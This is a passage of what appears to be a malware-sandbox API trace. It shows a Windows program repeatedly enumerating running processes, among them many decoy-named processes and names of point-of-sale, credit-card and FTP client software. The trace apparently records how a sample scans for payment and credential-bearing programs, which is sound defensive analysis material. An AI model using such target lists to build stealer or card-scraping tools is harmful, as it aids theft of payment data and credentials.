lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0118.222] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0118.225] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0118.228] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0118.231] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0118.264] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0118.267] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0118.270] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0118.273] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0118.275] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0118.278] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0118.281] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0118.283] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0118.286] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.289] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0118.291] CloseHandle (hObject=0x20c8) returned 1 [0118.291] Sleep (dwMilliseconds=0x64) [0118.544] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e58 [0118.559] Process32First (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.562] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.565] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.567] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.570] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.572] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.575] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.577] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.580] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.582] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.585] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.588] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.590] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.592] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.595] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.597] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.600] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.602] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.604] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.607] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.610] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0118.613] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.615] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.665] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0118.668] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0118.671] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0118.674] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0118.676] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0118.679] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0118.681] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0118.683] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.686] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0118.688] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0118.691] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0118.694] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0118.696] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0118.699] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.701] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0118.705] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0118.708] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0118.710] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0118.713] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0118.715] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0118.718] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0118.722] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0118.725] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0118.727] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0118.730] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0118.733] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0118.736] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0118.738] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0118.741] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0118.744] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0118.746] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0118.749] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0118.751] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0118.754] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0118.756] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0118.759] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0118.762] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0118.765] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0118.768] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0118.779] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0118.784] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0118.787] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0118.791] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0118.794] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0118.797] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 